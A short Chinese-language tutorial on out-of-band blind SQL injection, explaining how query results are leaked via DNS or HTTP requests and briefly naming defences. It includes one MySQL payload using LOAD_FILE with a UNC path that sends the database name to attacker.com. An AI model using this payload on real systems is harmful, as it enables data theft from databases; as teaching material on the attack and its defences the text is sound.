|
盲注带外交互——无声的数据窃取 摘要:盲注带外交互(Out-of-Band, OOB)是一种黑客技术在无法直接获取数据回显时使用的数据提取方法,通常结合DNS或HTTP请求将目标系统的敏感信息发送到攻击者控制的服务器。本节以SQL盲注带外为例,演示如何利用LOAD_FILE()或UTL_HTTP把查询结果发送到攻击者域名,并强调防御手段:关闭数据库对外网络访问、禁用危险函数。 关键词:黑客网站攻击;盲注带外;OOB;渗透测试;DNS外带;数据渗漏 一、引言传统的盲注需逐位猜测,效率低下。带外交互(Out-of-Band)允许黑客在无法看到查询结果的情况下,通过DNS解析或HTTP请求一字节一字节地“吼出”数据。此技术常用于SQL注入、XXE、SSRF等场景。 二、SQL盲注带外示例(MySQL)攻击者构造: [size=12.573px]sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\test.txt'));
MySQL会尝试连接UNC路径,触发DNS解析请求dbname.attacker.com,攻击者DNS服务器记录下数据库名。 三、防御措施四、总结带外交互让盲注从低效变高效。防御核心仍是修复底层注入漏洞,并限制数据库外连。
|